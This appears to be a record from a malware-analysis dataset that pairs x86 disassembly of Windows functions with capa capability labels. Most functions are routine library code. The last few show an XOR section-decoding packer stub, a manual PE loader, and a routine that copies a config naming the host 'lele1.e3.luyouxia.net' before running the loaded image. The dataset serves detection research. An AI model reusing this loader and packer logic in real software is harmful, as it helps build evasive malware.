joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c1d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5a40f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
cmp dword [ebp - 0x10], 0
jne 0x41c23b
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x10]
cmp eax, dword [ebp - 0x1c]
jae 0x41c22f
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x2c], edx
jmp 0x41c235
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x28]
add edx, 0x18
push edx
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 4], 0
jne 0x41c307
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x3e5
jne 0x41c2ce
push 1
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x18
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x41c2cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3e4
je 0x41c2ca
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x41c30a
jmp 0x41c277
jmp 0x41c307
cmp dword [ebp - 0x24], 5
jne 0x41c2e4
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x41c30a
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x41c30a
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005239af
mov esp, ebp
pop ebp
ret 8
Function at 0x425e46
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00432f65
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x425e7f
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00425a83
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x425edd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x425f01
cmp dword [edi + 0x74], 0
jne 0x425f01
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00432f65
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00425e9e
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42cf8a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x42cfd1
call fcn.00432f65
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42cfd1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x42cfed
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0042ca8a
mov esi, eax
test edi, edi
je 0x42cfeb
test ebx, ebx
je 0x42cfeb
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x42d817
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x54415a
call fcn.00525ebc
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x42d83c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x42d88e
call fcn.00423a0e
push eax
lea ecx, [ebp - 0x10]
call fcn.00401e50
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00525fc6
push eax
call fcn.004052e0
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401ee0
mov eax, esi
call fcn.00525f94
ret 8
Function at 0x42e70c
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0042e3b0
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x42e756
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00426abf
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040d8d0
jmp 0x42e761
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0043a1d2
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x42e767
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0042d096
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x42e7a4
call fcn.0042e3b0
mov dword [esi + 0xc], 1
jmp 0x42e7a9
call fcn.0042e3b0
cmp dword [esi], 0
je 0x42e7f2
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x42e7ca
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00426abf
jmp 0x42e7dc
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004019c0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040d8d0
jmp 0x42e816
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x42e816
push dword [esi]
push dword [ebp + 8]
call fcn.0043a1d2
pop esi
pop ebp
ret 0xc

Function at 0x42ed12
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x5a40f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x42ed57
push 0x551f78
push 4
push eax
call fcn.005249b7
push eax
call fcn.004052e0
add esp, 0x10
jmp 0x42ed6d
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x42eded
push edi
call fcn.0052436a
mov edi, dword [eax]
call fcn.0052436a
and dword [eax], 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00524996
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.0052436a
cmp dword [eax], 0
je 0x42edc1
call fcn.0052436a
push dword [eax]
call fcn.00424106
pop ecx
jmp 0x42edc8
call fcn.0052436a
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
pop edi
je 0x42eded
cmp dword [ebp - 0x234], esi
jae 0x42eded
push 0
push 0
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x42edef
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005239af
leave
ret
Function at 0x42edfc
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x5a40f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.004286dd
pop ecx
cmp eax, esi
je 0x42eee6
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x42eee6
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.00526270
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x42eee6
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x42eee6
cmp esi, 0x14
jge 0x42eee6
push 0x10
push 0
push edi
call fcn.00528045
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x42eed5
call fcn.0052436a
cmp dword [eax], 0x22
je 0x42eed5
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.0052597d
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x42eeab
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x5a76f4], 0
jne 0x42ef71
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x42ef9a
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.0042ed12
pop ecx
pop ecx
test eax, eax
jne 0x42ef9c
inc edi
cmp edi, esi
jl 0x42ef77
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005239af
leave
ret 8
Function at 0x42fc20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x42fc68
call fcn.00432f65
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42fc68
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x42fcab
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x42fc94
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x42fc94
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x42fca8
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x431db1
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x431ddc
call fcn.00432f65
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi + 8], eax
test eax, eax
jne 0x431dff
push eax
push dword [esi + 4]
call fcn.00431d37
push esi
push eax
mov ecx, 0x5a770c
call fcn.004319d4
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x432603
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x540dd1
call fcn.00525ebc
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x18]
mov ebx, dword [ebp + 8]
push dword [ebp + 0x1c]
push dword [ebp + 0xc]
push ebx
call fcn.004325c3
and dword [ebp - 4], 0
mov dword [esi], vtable.CFtpConnection.0
call fcn.00423a0e
push eax
lea ecx, [esi + 0x18]
call fcn.00401e50
push dword [ebp + 0xc]
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.00405520
push dword [esi + 8]
mov eax, dword [ebp + 0x20]
mov ebx, dword [ebx + 8]
neg eax
sbb eax, eax
and eax, 0x8000000
push eax
push 1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi + 4], eax
test eax, eax
jne 0x43268b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esi + 8]
call fcn.00431d37
push dword [esi + 0xc]
mov ecx, 0x5a770c
push eax
call fcn.004319d4
mov eax, esi
call fcn.00525f94
ret 0x1c
Function at 0x43f296
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5a40f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x43f2cb
xor eax, eax
jmp 0x43f31e
lea eax, [ebp - 0x210]
push eax
call fcn.0052597d
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x43f2fc
push 0x552330
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0052805f
add esp, 0xc
test eax, eax
jne 0x43f2c7
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0052805f
add esp, 0xc
test eax, eax
jne 0x43f2c7
lea eax, [ebp - 0x210]
push eax
call fcn.004286dd
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.005239af
leave
ret

Function at 0x48bef7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x48bf11
call fcn.00432f65
mov esi, dword [eax + 0xc]
push dword [0x5a962c]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x48bf2f
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x48bf27
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x48bf5c
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x48bf29
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0048be25
mov esi, eax
jmp 0x48bf4e

Function at 0x501811
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0042b373
call fcn.0040e040
cmp eax, esi
pop esi
jne 0x50182d
mov ecx, 0x5a7cb0
jmp fcn.0043ff95
ret
Function at 0x50996b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x509983
mov edi, dword [esi + 0xc]
jmp 0x5099c3
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x50999c
call fcn.00433c95
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x5099b1
call fcn.00433c95
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x5099c3
call fcn.00433c95
call fcn.00432f65
cmp dword [eax + 0x3c], 0
je 0x5099d8
push edi
mov ecx, ebx
call fcn.00508795
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.00509885
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x5099f6
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x509a02
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x5239af
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5a40f0]
jne 0x5239b9
repz ret
jmp fcn.0052c6e3
Function at 0x53a2b8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5a40f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0052c10b
and dword [ebp - 0x14], 0
cmp dword [0x5ac188], 0
mov dword [ebp - 0x18], eax
jne 0x53a36b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x53a413
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x578668
push ebx
call edi
test eax, eax
je 0x53a413
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x578658
push ebx
mov dword [0x5ac188], eax
call edi
push eax
call esi
push 0x578644
push ebx
mov dword [0x5ac18c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5ac190], eax
call edi
push eax
call esi
mov dword [0x5ac198], eax
test eax, eax
je 0x53a36b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5ac194], eax
mov eax, dword [0x5ac194]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x53a3c4
cmp dword [0x5ac198], ecx
je 0x53a3c4
push eax
call esi
push dword [0x5ac198]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x53a3c4
test ebx, ebx
je 0x53a3c4
call edi
test eax, eax
je 0x53a3bb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x53a3bb
test byte [ebp - 8], 1
jne 0x53a3c4
or dword [ebp + 0x10], 0x200000
jmp 0x53a3f7
mov eax, dword [0x5ac18c]
cmp eax, dword [ebp - 0x18]
je 0x53a3f7
push eax
call esi
test eax, eax
je 0x53a3f7
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x53a3f7
mov eax, dword [0x5ac190]
cmp eax, dword [ebp - 0x18]
je 0x53a3f7
push eax
call esi
test eax, eax
je 0x53a3f7
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5ac188]
call esi
test eax, eax
je 0x53a413
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x53a415
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005239af
leave
ret

Function at 0x53c91f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x53c946
call fcn.0052437d
mov dword [eax], esi
call fcn.0052436a
push 0x16
pop esi
mov dword [eax], esi
call fcn.0052c973
mov eax, esi
jmp 0x53c99b
test dword [ebp + 0xc], 0xfffffff9
jne 0x53c92c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x53c973
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00524390
pop ecx
call fcn.0052436a
mov eax, dword [eax]
jmp 0x53c99b
test al, 0x10
jne 0x53c999
test al, 1
je 0x53c999
test byte [ebp + 0xc], 2
je 0x53c999
call fcn.0052437d
mov dword [eax], 5
call fcn.0052436a
mov dword [eax], 0xd
jmp 0x53c96a
xor eax, eax
pop esi
pop ebp
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ed0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x15546e54
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7dcb6b52
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x402780
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435f70
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x447700]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, 0x5a4d
cmp word [0x448b90], ax
je 0x4027cd
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [0x448bcc]
cmp dword [edi + 0x448b90], 0x4550
lea edi, [edi + 0x448b90]
mov dword [ebp - 0x1c], edi
jne 0x4027b9
mov ecx, dword [edi + 0x50]
mov edx, dword [edi + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push ecx
push edx
call ebx
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
jne 0x40281f
mov eax, dword [edi + 0x50]
push 4
push 0x2000
push eax
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x14], eax
test esi, esi
je 0x4027b9
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x10], ecx
push 0x443030
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x18], eax
mov dword [eax + 4], esi
mov dword [ebp - 0x20], 0x3f
call fcn.0042332d
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x50]
mov ecx, dword [ebp - 0x14]
push 4
push 0x1000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], 0xffffffff
mov eax, 0x40287e
ret

Function at 0x402c60
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
call fcn.00402ad0
call fcn.00402780
push 0x14
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x402c95
mov eax, dword [esp + 0x10]
push eax
mov eax, ebx
call fcn.00402970
add esp, 4
test eax, eax
jne 0x402c99
mov esi, ebx
call fcn.00402a10
pop edi
pop esi
pop ebx
ret
push 0x43dbf8
sub esp, 0x9c0
mov ecx, 0x270
mov esi, str.lele1.e3.luyouxia.net
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call eax
mov esi, ebx
call fcn.00402a10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]